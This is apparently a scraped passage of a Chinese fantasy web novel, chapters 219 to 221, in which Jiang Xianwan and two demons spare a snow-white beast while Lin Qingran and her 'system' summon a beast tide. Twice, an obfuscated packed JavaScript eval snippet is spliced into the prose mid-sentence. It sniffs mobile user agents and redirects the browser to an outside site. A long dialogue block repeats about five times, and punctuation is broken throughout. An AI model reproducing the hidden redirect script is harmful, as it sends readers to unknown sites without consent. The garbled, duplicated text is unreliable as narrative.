尖利的牙在咬穿兔肉的那一刻立在树杈上的四只爪爪都有些飘飘欲然。 它狼吞虎咽很快将肉啃的干干净净一点也不剩。 意犹未尽眼巴巴去看因为抢肉扭打在一起的两个魔。 没了肉没了。 江献晚悄悄晃了晃手里的兔腿指了指两个打的狼烟滚滚的魔意思是给你留的。 天雪白尾兽生性高傲可在看到江献晚藏了一只兔腿给它竟有种说不出来的感觉。 兔腿一共四只她没吃特意给它留的? 它从小不停的和各种各样的兽厮杀独来独往受伤的时候舔舔伤口就好了从来没受到过这样的待遇。 被人想着宠着的感觉好像有点不错。 它步子迈的很轻悄无声息绕开两个魔落在江献晚面前时却有些犹豫。 后者很轻易的能看出它的想法。 “我会做饭不差这一只腿。快吃 墓碑:“……” 做饭。 她连饭都会做了。 她又什么时候吃过一口饭了! 墓碑终于遭受不住打击碑身千丝万缕的线雾虚闪一下再次麻溜昏死过去。 它那自讨苦吃、丧尽天良的虎娘们啊! 遭报应了! 骑在幽冥身上的霓裳嗷地一声“你竟然给它吃独食!我再也不是你最亲爱的好姐妹了吗!” 幽冥更是激动“它凭什么吃两只腿!它又不是女孩子!” 听到独食二字天雪白尾兽得意的晃晃尾巴。 是的独食呢你们没看错两只腿噢。 它吃了两只兔腿不自在地扒拉一下土“你想要什么?” 江献晚被问的一愣指了指自己的鼻尖“我?” 兽点头。 “什么也不要。” 面对如此漂亮又威风凛凛的大猫咪江献晚倒还真是下不去手。 见它傻乎乎的忍不住多说了两句。 “你这么大的兽了怎么能因为一点小恩小惠就感动?万一我们是对你居心叵测呢。” 这大猫咪也不怕她下药别 有用心,就这么过来了。 天雪白尾兽没想到她会跟自己说这些,那种从来没有过的感觉更奇怪了。 不自然地撇开脑袋,低声嘟囔了一句,“才不是。 又补充道:“我很厉害的。 言下之意,它才不傻,也不怕谁欺负它。 江献晚点点头,掏出一包肉干给它,“嗯,那就好,我们还有事,先走了。 说罢,想摸摸它毛茸茸的脑袋,又惋惜的收回。 那根根干净而柔软的毛发,一看就是每日都有认真舔**打理的,她烤完兔肉,还没洗手。 天雪白尾兽望着江献晚拽了两个还在吵闹的魔离开,有些闷闷不乐低头去看小布兜。 伸爪扒拉开系着的绳结,叼起一根肉干。 有嚼劲,一样很好吃,可又好像没刚才的兔腿好吃。 幽冥不解,“咱们不是要抢它吗?怎么放它走了? 江献晚一本正经解释,“抢回魔域恐怕也会水土不服。 魔域的魔兽,那一个个长的是歪瓜又裂枣、凶神又恶煞,很具有魔域风格,活的还粗糙。 天雪白尾兽要是往它们中间那么一站,绝对是白天鹅周围围了一群癞**。 不合适。 真的不合适。 “拉倒吧,什么水土不服。霓裳揽上她的脖颈,“你就是心软了! 江献晚:“……看破不说破,才有朋友做。 幽冥:“咱们心软,界域那群大傻蛋儿可不心软,为了抓天雪白尾兽,三王都来了。 听说是想将天雪白尾兽拴在圣坛,给他们皇看门。 他们皇三百年前早就没了,看哪门子的门? 傻子吧。 “万古宗那个林轻染声称可以找到天雪白尾兽,我看它今日有点悬,咱们不抓,大猫咪恐怕也难逃一劫。 江献晚余光看向缩进灌木丛的一点尾巴尖,漆黑的眸子划过若有所思的神色。 “待会小心些。 天雪白尾兽额心的金印,似乎是大能留下来的护体印记,完全有资格做什么镇宗灵兽了。 江献晚此刻有些奇怪那印记的力量似乎很是熟悉,又很是陌生的感觉。 与她的气息很是相似,却比她更为凌厉、残暴、漠视一切。 明晃晃的在说:这猫咪,我罩的。 江献晚想不出个所以然,也没过多纠结。 大猫咪的属性和林轻染水灵根体质很是契合,后者只怕是有自己的小算盘,想将天雪白尾兽契约。 他们三个突然出现在这里,女主身带系统,估计仍然可以检测他们的位置。 谨慎些好。 霓裳嗤笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那一句句的,加上口水辅助,攻击力十足,它听的都想找块布把脸遮住! 界域的修士,嘴真贱! 第 219 章 你想跑 现在,它不仅要想办法尽快修补器灵,还要帮助林轻染养好伤。 林轻染又遭到帝隐和雾渺的怀疑,最近自身气运更是消磨许多。 它更要想办法替她抢夺别人的气运,化为己用。 不管是哪一件,都让它吃屎般难以下咽,恶心的快要吐了。 它想不通,它真的想不通,自己为何会选中这么一个扫把星!!! 明明一手的好牌,林轻染偏能打的那叫一个稀碎,眼睛都睁不开。 要不是为了飞升仙界,它早第一个杀了林轻染了! 那股强烈不安的感觉再次窜上来,林轻染眼底涌出一层惊慌之色。 所有的一切早已不受控制。 她以为来到界域,远离江献晚,前途可以光明灿烂一点,自己也可以轻轻松松点亮界碑,享受界域人魔妖的跪拜,登上界皇之位。 可现在,什么都没了。 器灵即将消散,厄弓如废弓。 在万古宗她成了人人厌弃的眼中钉肉中刺,幻想到了这里,就可以让界域修士匍匐脚下,不必再担心没有万古宗和雾渺的庇护。 到头来,她却连厄弓都不敢拿出来,还要被迫修补器灵。 为了讨好三王,消除他们对自己莫名的厌恶和敌意。 说破了嘴,哄骗三王,主动提出帮他们抓到天雪白尾兽,当三十三座殿的看门兽。 实际,揽下此事,她有自己的小算盘。 灵休帝尊其实有两件本命灵器。 一是那把不被世人所知,江献晚抢走并契约的痕剑。 第二个便是这厄弓。 痕剑中含有界皇留下来的气息,亦是无人知晓,那厄弓更是界皇亲手所锻造。 因此她才要借助这两件灵器其中之一,点亮界碑。 可如今厄弓无法为她效力,江献晚又他妈跟个邪祟似的,杀都杀不死,痕剑夺不回。 便只能试一试,契约天雪白尾兽,是否能抽取它体内界皇曾留下的护体灵力,取代厄弓和痕剑的作用。 同时,也为了碰一碰运气,点亮魔皇这位美人图鉴。 根据系统所说,来的是非翎和幽冥才对。 她应当在契约天雪白尾兽时,白衣逶逶地立在光 晕之下,被从天而降的魔皇一把搂住,强掳回魔域,要了她整整三日。 魔皇手下的黑蛟亦是被她的样貌深深折服,助她逃出了魔域。 然后,她逃,意外逃到妖域,机缘巧合,助风回雪夺回帝位。 追来的魔皇大吃飞醋,与风回雪打了惊天动地的一架。 不仅如此,魔皇和新任妖帝都直言称,她是魔后、帝后。 想到风回雪在黑市对她的态度有所改变,她好不容易找回一点信心。 可现在,来者独独少了非翎,多出一个人族修士! 命运线再次轻易地悄无声息改变。 林轻染绝美的面容出现一丝裂痕,心头难掩惊慌,潜意识觉得那个检测不出的人族修士是江献晚! 系统心里比她还慌。 这种检测不出的情况,它只在江献晚和江行行身上遇到过。 所以…… 那个人族修士,一定是江献晚! 系统暗自深吸一口气,强压着心头巨大的不安。 急声催促。 “离开!” “就现在!” “不要与江献晚碰上!” 它宁可想办法修补厄弓的器灵,也不愿打江献晚身上痕剑的主意! 江献晚就跟**邪祟一样,无论他们想出什么损招,她都能加倍反弹回来。 此时撞上,更不会有什么好果子吃! “先稳住器灵再作打算!” 林轻染有些不甘,“就算是江献晚,他们只有三人,系统,你为何不动用那些仙力杀了她,夺回痕剑!” “蠢货!” 系统瞬间暴怒,打断她的话。 它不想吗? 一旦动用仙力,天道只怕是下一秒就能锁死林轻染,名正言顺对她出手,顺便抹杀它! 若是厄弓器灵不这般反抗,他们还能以厄弓这个极为恐怖、唯一能承载仙力的灵器,勉强作为媒介和掩护,释放出仙力,一击击杀江献晚。 可现在,哪条路皆被封堵,它眼下根本没有能力承受天道震怒,与天道抗衡! 系统几乎是嘶吼着催促,“闭嘴!让你离开照做就是!” 林轻染恨恨咬牙,又抵不过 如今心底对江献晚有种骨子里的畏惧。 正想找个借口离开,水涟突然眯起眸子,斜瞥她一眼。 “你想跑。” 不是疑问,是肯定。 话音未落,月离和迷音一左一后,堵了林轻染的路。 这使得她能走的方向,只剩黑森林内围。 月离双臂环抱,极为挺拔清瘦的身形,轻易封死她的退路。 眼尾微微上翘,锐利内敛,自有一种刻薄的嘲弄,仿佛在欣赏一出蹩脚的闹剧。 “你该不会耍小爷的吧?” “嗯?” 迷音脾气最爆,修长的指摩挲着腰间软剑,桃花眼里更是多出一丝叫做‘恐怖’的漠然杀机。 让人无法不怀疑,林轻染只要敢点头,或是说一个‘是’,那把软剑下一秒便会无声无息的抵在她的咽喉。 他嗤笑诘问,带着一种猫戏老鼠的残忍兴味。 “你当我们家的黑森林是你家后花园,想来就来,想走就走?” 她不是吹牛说自己一定会找到天雪白尾兽吗? 自个死皮赖脸,非要跟来,现在,又想反悔? 呵。 是看不起他们三个,还是看不起他们皇? 林轻染:“……” 系统:“……” 林轻染和系统,心霎时凉了半截。 如何也想到这三个看起来脑子有毛病的少年,一点风吹草动,竟表现出异于常人的机警。 就好像他们以为对方一直是个二百五,突然有天却发现,这个二百五,是人家的智商,他们才是那个二百五! 林轻染掩在衣袖下的手指不可控制的颤抖起来,像是遭受到一种无形的巨大危险,脸色极为苍白。 在三双一言不合,就要撕了她的狂妄目光紧逼中,骑虎难下。 强撑镇定,挤出一丝笑意。 “何出此言?” 打死她都没想到这仨没脑子的美人图鉴,竟然会这么聪明! 显得就跟她是个**一样! 水涟回以冷笑,狭长而完美的双眸,眼尾轻盈而精巧的纹路,如同一痕欲飞的黑色翎毛,寒光与嘲弄交织得更加浓烈。 语气充满威胁。 “那还不走?怎么,是等着小爷请你走吗?” 这个恶毒的女人,真把他当成傻子了? 月离和迷音,两道视线更是锁死她,眼中极具压迫性。 还有嗜血的兴奋趣味。 像是巴不得她逃,好随便扯个理由,对她痛下**。 林轻染呼吸渐渐急促起来,有种被强行押上刑场,押上断头台的错觉。 系统亦是深吸了一口气。 界域的人魔妖实在有病,脑回路更是异于常人。 就跟裹脚布裹脑子上一样,根本猜不出他们在想什么,下一步又会做些什么! 如今心底对江献晚有种骨子里的畏惧。 正想找个借口离开,水涟突然眯起眸子,斜瞥她一眼。 “你想跑。” 不是疑问,是肯定。 话音未落,月离和迷音一左一后,堵了林轻染的路。 这使得她能走的方向,只剩黑森林内围。 月离双臂环抱,极为挺拔清瘦的身形,轻易封死她的退路。 眼尾微微上翘,锐利内敛,自有一种刻薄的嘲弄,仿佛在欣赏一出蹩脚的闹剧。 “你该不会耍小爷的吧?” “嗯?” 迷音脾气最爆,修长的指摩挲着腰间软剑,桃花眼里更是多出一丝叫做‘恐怖’的漠然杀机。 让人无法不怀疑,林轻染只要敢点头,或是说一个‘是’,那把软剑下一秒便会无声无息的抵在她的咽喉。 他嗤笑诘问,带着一种猫戏老鼠的残忍兴味。 “你当我们家的黑森林是你家后花园,想来就来,想走就走?” 她不是吹牛说自己一定会找到天雪白尾兽吗? 自个死皮赖脸,非要跟来,现在,又想反悔? 呵。 是看不起他们三个,还是看不起他们皇? 林轻染:“……” 系统:“……” 林轻染和系统,心霎时凉了半截。 如何也想到这三个看起来脑子有毛病的少年,一点风吹草动,竟表现出异于常人的机警。 就好像他们以为对方一直是个二百五,突然有天却发现,这个二百五,是人家的智商,他们才是那个二百五! 林轻染掩在衣袖下的手指不可控制的颤抖起来,像是遭受到一种无形的巨大危险,脸色极为苍白。 在三双一言不合,就要撕了她的狂妄目光紧逼中,骑虎难下。 强撑镇定,挤出一丝笑意。 “何出此言?” 打死她都没想到这仨没脑子的美人图鉴,竟然会这么聪明! 显得就跟她是个**一样! 水涟回以冷笑,狭长而完美的双眸,眼尾轻盈而精巧的纹路,如同一痕欲飞的黑色翎毛,寒光与嘲弄交织得更加浓烈。 语气充满威胁。 “那还不走?怎么,是等着小爷请你走吗?” 这个恶毒的女人,真把他当成傻子了? 月离和迷音,两道视线更是锁死她,眼中极具压迫性。 还有嗜血的兴奋趣味。 像是巴不得她逃,好随便扯个理由,对她痛下**。 林轻染呼吸渐渐急促起来,有种被强行押上刑场,押上断头台的错觉。 系统亦是深吸了一口气。 界域的人魔妖实在有病,脑回路更是异于常人。 就跟裹脚布裹脑子上一样,根本猜不出他们在想什么,下一步又会做些什么! 如今心底对江献晚有种骨子里的畏惧。 正想找个借口离开,水涟突然眯起眸子,斜瞥她一眼。 “你想跑。” 不是疑问,是肯定。 话音未落,月离和迷音一左一后,堵了林轻染的路。 这使得她能走的方向,只剩黑森林内围。 月离双臂环抱,极为挺拔清瘦的身形,轻易封死她的退路。 眼尾微微上翘,锐利内敛,自有一种刻薄的嘲弄,仿佛在欣赏一出蹩脚的闹剧。 “你该不会耍小爷的吧?” “嗯?” 迷音脾气最爆,修长的指摩挲着腰间软剑,桃花眼里更是多出一丝叫做‘恐怖’的漠然杀机。 让人无法不怀疑,林轻染只要敢点头,或是说一个‘是’,那把软剑下一秒便会无声无息的抵在她的咽喉。 他嗤笑诘问,带着一种猫戏老鼠的残忍兴味。 “你当我们家的黑森林是你家后花园,想来就来,想走就走?” 她不是吹牛说自己一定会找到天雪白尾兽吗? 自个死皮赖脸,非要跟来,现在,又想反悔? 呵。 是看不起他们三个,还是看不起他们皇? 林轻染:“……” 系统:“……” 林轻染和系统,心霎时凉了半截。 如何也想到这三个看起来脑子有毛病的少年,一点风吹草动,竟表现出异于常人的机警。 就好像他们以为对方一直是个二百五,突然有天却发现,这个二百五,是人家的智商,他们才是那个二百五! 林轻染掩在衣袖下的手指不可控制的颤抖起来,像是遭受到一种无形的巨大危险,脸色极为苍白。 在三双一言不合,就要撕了她的狂妄目光紧逼中,骑虎难下。 强撑镇定,挤出一丝笑意。 “何出此言?” 打死她都没想到这仨没脑子的美人图鉴,竟然会这么聪明! 显得就跟她是个**一样! 水涟回以冷笑,狭长而完美的双眸,眼尾轻盈而精巧的纹路,如同一痕欲飞的黑色翎毛,寒光与嘲弄交织得更加浓烈。 语气充满威胁。 “那还不走?怎么,是等着小爷请你走吗?” 这个恶毒的女人,真把他当成傻子了? 月离和迷音,两道视线更是锁死她,眼中极具压迫性。 还有嗜血的兴奋趣味。 像是巴不得她逃,好随便扯个理由,对她痛下**。 林轻染呼吸渐渐急促起来,有种被强行押上刑场,押上断头台的错觉。 系统亦是深吸了一口气。 界域的人魔妖实在有病,脑回路更是异于常人。 就跟裹脚布裹脑子上一样,根本猜不出他们在想什么,下一步又会做些什么! 如今心底对江献晚有种骨子里的畏惧。 正想找个借口离开,水涟突然眯起眸子,斜瞥她一眼。 “你想跑。” 不是疑问,是肯定。 话音未落,月离和迷音一左一后,堵了林轻染的路。 这使得她能走的方向,只剩黑森林内围。 月离双臂环抱,极为挺拔清瘦的身形,轻易封死她的退路。 眼尾微微上翘,锐利内敛,自有一种刻薄的嘲弄,仿佛在欣赏一出蹩脚的闹剧。 “你该不会耍小爷的吧?” “嗯?” 迷音脾气最爆,修长的指摩挲着腰间软剑,桃花眼里更是多出一丝叫做‘恐怖’的漠然杀机。 让人无法不怀疑,林轻染只要敢点头,或是说一个‘是’,那把软剑下一秒便会无声无息的抵在她的咽喉。 他嗤笑诘问,带着一种猫戏老鼠的残忍兴味。 “你当我们家的黑森林是你家后花园,想来就来,想走就走?” 她不是吹牛说自己一定会找到天雪白尾兽吗? 自个死皮赖脸,非要跟来,现在,又想反悔? 呵。 是看不起他们三个,还是看不起他们皇? 林轻染:“……” 系统:“……” 林轻染和系统,心霎时凉了半截。 如何也想到这三个看起来脑子有毛病的少年,一点风吹草动,竟表现出异于常人的机警。 就好像他们以为对方一直是个二百五,突然有天却发现,这个二百五,是人家的智商,他们才是那个二百五! 林轻染掩在衣袖下的手指不可控制的颤抖起来,像是遭受到一种无形的巨大危险,脸色极为苍白。 在三双一言不合,就要撕了她的狂妄目光紧逼中,骑虎难下。 强撑镇定,挤出一丝笑意。 “何出此言?” 打死她都没想到这仨没脑子的美人图鉴,竟然会这么聪明! 显得就跟她是个**一样! 水涟回以冷笑,狭长而完美的双眸,眼尾轻盈而精巧的纹路,如同一痕欲飞的黑色翎毛,寒光与嘲弄交织得更加浓烈。 语气充满威胁。 “那还不走?怎么,是等着小爷请你走吗?” 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迷音脾气最爆,修长的指摩挲着腰间软剑,桃花眼里更是多出一丝叫做‘恐怖’的漠然杀机。 让人无法不怀疑,林轻染只要敢点头,或是说一个‘是’,那把软剑下一秒便会无声无息的抵在她的咽喉。 他嗤笑诘问,带着一种猫戏老鼠的残忍兴味。 “你当我们家的黑森林是你家后花园,想来就来,想走就走?” 她不是吹牛说自己一定会找到天雪白尾兽吗? 自个死皮赖脸,非要跟来,现在,又想反悔? 呵。 是看不起他们三个,还是看不起他们皇? 林轻染:“……” 系统:“……” 林轻染和系统,心霎时凉了半截。 如何也想到这三个看起来脑子有毛病的少年,一点风吹草动,竟表现出异于常人的机警。 就好像他们以为对方一直是个二百五,突然有天却发现,这个二百五,是人家的智商,他们才是那个二百五! 林轻染掩在衣袖下的手指不可控制的颤抖起来,像是遭受到一种无形的巨大危险,脸色极为苍白。 在三双一言不合,就要撕了她的狂妄目光紧逼中,骑虎难下。 强撑镇定,挤出一丝笑意。 “何出此言?” 打死她都没想到这仨没脑子的美人图鉴,竟然会这么聪明! 显得就跟她是个**一样! 水涟回以冷笑,狭长而完美的双眸,眼尾轻盈而精巧的纹路,如同一痕欲飞的黑色翎毛,寒光与嘲弄交织得更加浓烈。 语气充满威胁。 “那还不走?怎么,是等着小爷请你走吗?” 这个恶毒的女人,真把他当成傻子了? 月离和迷音,两道视线更是锁死她,眼中极具压迫性。 还有嗜血的兴奋趣味。 像是巴不得她逃,好随便扯个理由,对她痛下**。 林轻染呼吸渐渐急促起来,有种被强行押上刑场,押上断头台的错觉。 系统亦是深吸了一口气。 界域的人魔妖实在有病,脑回路更是异于常人。 就跟裹脚布裹脑子上一样,根本猜不出他们在想什么,下一步又会做些什么! 如今心底对江献晚有种骨子里的畏惧。 正想找个借口离开,水涟突然眯起眸子,斜瞥她一眼。 “你想跑。” 不是疑问,是肯定。 话音未落,月离和迷音一左一后,堵了林轻染的路。 这使得她能走的方向,只剩黑森林内围。 月离双臂环抱,极为挺拔清瘦的身形,轻易封死她的退路。 眼尾微微上翘,锐利内敛,自有一种刻薄的嘲弄,仿佛在欣赏一出蹩脚的闹剧。 “你该不会耍小爷的吧?” “嗯?” 迷音脾气最爆,修长的指摩挲着腰间软剑,桃花眼里更是多出一丝叫做‘恐怖’的漠然杀机。 让人无法不怀疑,林轻染只要敢点头,或是说一个‘是’,那把软剑下一秒便会无声无息的抵在她的咽喉。 他嗤笑诘问,带着一种猫戏老鼠的残忍兴味。 “你当我们家的黑森林是你家后花园,想来就来,想走就走?” 她不是吹牛说自己一定会找到天雪白尾兽吗? 自个死皮赖脸,非要跟来,现在,又想反悔? 呵。 是看不起他们三个,还是看不起他们皇? 林轻染:“……” 系统:“……” 林轻染和系统,心霎时凉了半截。 如何也想到这三个看起来脑子有毛病的少年,一点风吹草动,竟表现出异于常人的机警。 就好像他们以为对方一直是个二百五,突然有天却发现,这个二百五,是人家的智商,他们才是那个二百五! 林轻染掩在衣袖下的手指不可控制的颤抖起来,像是遭受到一种无形的巨大危险,脸色极为苍白。 在三双一言不合,就要撕了她的狂妄目光紧逼中,骑虎难下。 强撑镇定,挤出一丝笑意。 “何出此言?” 打死她都没想到这仨没脑子的美人图鉴,竟然会这么聪明! 显得就跟她是个**一样! 水涟回以冷笑,狭长而完美的双眸,眼尾轻盈而精巧的纹路,如同一痕欲飞的黑色翎毛,寒光与嘲弄交织得更加浓烈。 语气充满威胁。 “那还不走?怎么,是等着小爷请你走吗?” 这个恶毒的女人,真把他当成傻子了? 月离和迷音,两道视线更是锁死她,眼中极具压迫性。 还有嗜血的兴奋趣味。 像是巴不得她逃,好随便扯个理由,对她痛下**。 林轻染呼吸渐渐急促起来,有种被强行押上刑场,押上断头台的错觉。 系统亦是深吸了一口气。 界域的人魔妖实在有病,脑回路更是异于常人。 就跟裹脚布裹脑子上一样,根本猜不出他们在想什么,下一步又会做些什么! 如今心底对江献晚有种骨子里的畏惧。 正想找个借口离开,水涟突然眯起眸子,斜瞥她一眼。 “你想跑。” 不是疑问,是肯定。 话音未落,月离和迷音一左一后,堵了林轻染的路。 这使得她能走的方向,只剩黑森林内围。 月离双臂环抱,极为挺拔清瘦的身形,轻易封死她的退路。 眼尾微微上翘,锐利内敛,自有一种刻薄的嘲弄,仿佛在欣赏一出蹩脚的闹剧。 “你该不会耍小爷的吧?” “嗯?” 迷音脾气最爆,修长的指摩挲着腰间软剑,桃花眼里更是多出一丝叫做‘恐怖’的漠然杀机。 让人无法不怀疑,林轻染只要敢点头,或是说一个‘是’,那把软剑下一秒便会无声无息的抵在她的咽喉。 他嗤笑诘问,带着一种猫戏老鼠的残忍兴味。 “你当我们家的黑森林是你家后花园,想来就来,想走就走?” 她不是吹牛说自己一定会找到天雪白尾兽吗? 自个死皮赖脸,非要跟来,现在,又想反悔? 呵。 是看不起他们三个,还是看不起他们皇? 林轻染:“……” 系统:“……” 林轻染和系统,心霎时凉了半截。 如何也想到这三个看起来脑子有毛病的少年,一点风吹草动,竟表现出异于常人的机警。 就好像他们以为对方一直是个二百五,突然有天却发现,这个二百五,是人家的智商,他们才是那个二百五! 林轻染掩在衣袖下的手指不可控制的颤抖起来,像是遭受到一种无形的巨大危险,脸色极为苍白。 在三双一言不合,就要撕了她的狂妄目光紧逼中,骑虎难下。 强撑镇定,挤出一丝笑意。 “何出此言?” 打死她都没想到这仨没脑子的美人图鉴,竟然会这么聪明! 显得就跟她是个**一样! 水涟回以冷笑,狭长而完美的双眸,眼尾轻盈而精巧的纹路,如同一痕欲飞的黑色翎毛,寒光与嘲弄交织得更加浓烈。 语气充满威胁。 “那还不走?怎么,是等着小爷请你走吗?” 这个恶毒的女人,真把他当成傻子了? 月离和迷音,两道视线更是锁死她,眼中极具压迫性。 还有嗜血的兴奋趣味。 像是巴不得她逃,好随便扯个理由,对她痛下**。 林轻染呼吸渐渐急促起来,有种被强行押上刑场,押上断头台的错觉。 系统亦是深吸了一口气。 界域的人魔妖实在有病,脑回路更是异于常人。 就跟裹脚布裹脑子上一样,根本猜不出他们在想什么,下一步又会做些什么! 第 220 章 我坚定不移的站在你俩两边 林轻染唇瓣哆嗦了一下陡然失去理智每一个音节都充满濒临崩溃的惊骇在心中语无伦次的连声嘶吼。 “系统!系统!快!操控他们离开!” “杀了他们!我不要去!” 她不想去! 不想看到江献晚! 那张脸总是让她想起自己每次是如何狼狈不堪丢尽颜面! 甚至觉得本该在妖域的江献晚会出现在这里就是奔着她来的! 她不想不想在登上界皇之前再与江献晚对上! 林轻染能想到的系统自然也有考虑。 如果月离他们没这般聪明倒是可以操控他们主动离开。 可以他们现在表现出的二百五的智商又不似雾渺那种正道掌门一样跟人讲道理。 恐怕前脚出去只要察觉一点不对不管是否确定后脚就能撕了林轻染! 撕不死也会拴起来慢慢撕! 更别说将他们直接抹杀夺其气运。 到时候就是界域全部的人魔妖来撕林轻染了! 就算此刻林轻染已经点亮了界碑依界域修士的疯劲别说三王不会承认。 恐怕依旧会弄死她都不可能会承认这个皇! 月离三个 毕竟……他们是真的有病! 系统气的呕血只能安慰自己江献晚去了妖域怎么可能会出现在这里。 它久久无言林轻染在三双极具压迫和讥讽的视线下只能虚软着双腿迈开一步。 她眼睛有些涣散嗫嚅道:“前方三里就是了。” “哼!” 三个少年齐哼一声越过她。 “笑的小爷翅膀疼。” “笑的大爷指甲疼。” “笑的老爷腿儿疼。” 林轻染险些喷出一口血像个疯子一般在心中大吼大叫。 “怎么办!现在该怎么办!” “我不去!他们非要我去!” 系统:“……” 系统深吸一口气大声喷回去“闭嘴吧你!” 不管是不是江献晚。 它现在唯一能做的无用功就是…… 再次操控黑森林的异兽,先去攻击他们,拦下江献晚的脚步! 浑水摸鱼,逼月离他们主动提出离开! —— 江献晚他们没走两步,便停下了脚步。 霓裳和幽冥面面相觑。 “我听着怎么像兽潮?还是朝这个位置来的?” 幽冥竖起耳尖,猛地倒抽一口气,“很多,还四面八方的!” 江献晚摁了摁眉心,颇为无奈。 又是兽潮。 果然,系统及时检测到了他们的位置。 倒是,这俩怎么就记吃不记打? 只有这一招了吗? 江献晚难免有些提不起劲,本来大好的心情都有点不稳定了。 甚至反省自个是不是能力不够突出,才让林轻染跟系统一再用同一种招数对她突突突。 无精打采的垂下眸子,一下没一下的去拨腰间垂落的红丝带。 话说,这身喜庆的红衣裳,还是非翎对着她嘤了一个早上,嘤的她耳鸣眼花,像个提线木偶,心如死海,被非翎一边嘤,一边给穿上的。 霓裳嘟囔道:“怎么有她的地方就有兽潮,这小东西到底是怎么做到的,还挺能耐。” 幽冥:“那我们现在怎么办?” 他们又没有江献晚那种又有用又变态的交欢丹。 恐怕经历一番鏖战在所难免。 忍不住小声蛐蛐:“要是江献晚在这儿就好了。” “她一定会有办法的。” “她可厉害了。” 霓裳:“……”他眼睛是被腚坐住了吗? 干脆直接捐了得了。 江献晚:“……”不是。 在他心中,难道她现在这个魔后就不厉害了? 江献晚觉得,她可能有必要炫一下自己的业务能力了。 接受到自家魔后投来古怪而幽怨的眼神,幽冥很快反应过来自己的话有些歧义。 忙摆手表明自己的衷心。 “魔后,我不是说您不好不厉害!您知道的!我对您的心可是天若有情天亦老,动我家魔后全干倒!” “真的!” 说着说着,又觉得哪里不对,急的冒出一头汗,脱口补充道:“当然,我也不是说江献晚不好不厉害!” “谁欺负她我也有点想干倒……” “不是……我是说……” 幽冥把自个给说懵了,总觉得表达出来的意思都很不对味。 电闪雷鸣间,激动的抓住江献晚的两只手腕,上下剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971391|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烈一晃。 “我意思是说皇不好!” “对!一切都是渣皇的错!!!” “您要怪就怪渣皇!!!” “千万别怪江献晚!!!” “属下愿为您和江献晚赴汤蹈火,干倒渣皇!” 霓裳:“……”他二逼吧他? 脑子顺便也捐了。 江献晚:“……”她觉得,等忙完,一定得找个时间,好好给幽冥治治眼珠子。 还有,脑子。 对此,江献晚默默从芥子囊中端出一大盆交欢丹,“哐当”一声,砸在地上! 漫不经心的垂眼抚弄着指尖,悠悠道:“幽冥啊。” “来,给你个机会。” “我和江献晚比,谁更厉害?” 幽冥满脸绯红,摇摇晃晃,像是突然喝了假酒似的。 “我……我……” “我觉得……” 噗通一声,直接被一大盆交欢丹撂倒在地,声线也染上一种莫名的暗哑。 还是无法背叛自己内心的真实想法。 “你俩棋逢对手,都挺牛逼的,我坚定不移的站在你俩两边。” 他家魔后竟然也会炼交欢丹? 果然,一切都是渣皇的错!!! 他就不该舔两个!!! 霓裳唇角抽搐了好几下,拍了拍江献晚的肩,由衷提议,“姐妹儿,我觉得吧,你最好现在就扒了他的皮。” “当然,眼珠子也给他抠了,扔在地上踩爆,脑袋也不要放过!” “反正他都用不上。” 江献晚叹了一口气,收起那盆交欢丹,摸出两枚丹药递给幽冥和霓裳,又扭头看向远处灌木丛那一抹灰白色影子。 “咪咪,别跟了,快离开。” 她这么一说,俩魔看到了一截往草里缩的尾巴,才发现大猫咪一直跟着他们。 天雪白尾兽被发现,有些不自然的迈着优雅的步伐从灌木丛走出。 “你们还不快逃?” 江献晚轻轻跃上高高的树枝,两条小腿悬落晃动,意兴阑珊的摸出一把瓜子。 “她送我们这么大的礼,逃了岂不让她失望。” 她就是顺路过来收拾林轻染的啊,逃什么逃。 再说,林轻染肯定是知道来人是她,才会麻溜的又献上这么一份见面礼。 第 221 章 为什么不按套路出牌 不得不说,江献晚心中其实还是很欣慰大女主愿意一再为她花这种没用的小心思的。 用非翎的话来说,大约就是—— 她肯愿意为我花这种小心思,一定是心里有我! 不然,她怎么不为别人花? 江献晚深感女主心中有她。 她再不努力一下,林轻染都不知道什么叫做绝望。 霓裳跟着挤了上去,“该逃的是她!我得留在这里为姐妹儿举大旗,杀仇敌!” 林轻染这小东西,怎么像是能及时知晓他们来到了黑森林一样? 不过,如果是因为他们进入结界,早就被发现了,倒勉强说的过去。 幽冥吃过解药,再次精神抖擞,忙跟着跃上树枝。 “魔后在哪我在哪!我得杀了她!” 欺负江献晚,还欺负他家魔后,这种人,留着她简直找气受。 渣皇渣,但他幽冥可不渣! 杀了。 必须杀了。 天雪白尾兽离的远,没闻到交欢丹的味道,一看他们三个不跑,反而不要命的等着,焦躁不安的刨刨土。 “那是兽潮,黑森林地域广袤,存活了几百上千年的异兽多的数不清,你们无疑是在等死。” 以前听这里那些被从当时南北两境和妖域魔域,抢过来的兽兽们说,界皇遇到各种稀奇古怪的兽兽,会多看一眼。 三王便带着人魔妖,闯进人家地盘,将它们绑回来,放养在此处,更是将这片森林扩大了三倍。 而它…… 倒跟它们不一样。 它是主动来的。 它当时还是一个随时都会死掉,很孱弱的崽子。 父母为了保护它,皆死在人族修士手中,被当场活生生剥了一身皮**,啖血食肉。 那血腥的一幕,直到现在它都记得。 就在它被一剑割喉,即将随父母走向死亡时,是一个戴着面具的少女从天而降,眼都不眨拧了那十几个修士的脑袋瓜子,在它眉心灌入了一缕灵力。 也就是因为那缕灵力,它才活了下来,能口吐人言,后来长成威风凛凛的强壮兽兽。 它偷偷跟了那个少女一路,便跟到了黑森林,从此安家。 而它,再未见到过那个少女。 